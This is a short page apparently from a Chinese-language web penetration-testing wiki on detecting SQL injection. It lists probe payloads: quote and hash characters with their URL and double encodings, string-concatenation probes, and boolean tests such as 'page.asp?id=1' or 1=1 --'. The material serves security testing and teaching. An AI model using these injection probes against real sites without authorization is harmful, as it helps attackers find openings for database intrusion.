> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/chu-shi-fang-wen/web-fu-wu-tu-po/sql-zhu-ru/pan-duan-zhu-ru.md).

# 判断注入

**简单字符**

```
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
'  # required for XML content
```

**编码**

```
%%2727
%25%27
```

**合并字符**

```
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

**逻辑测试**

```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```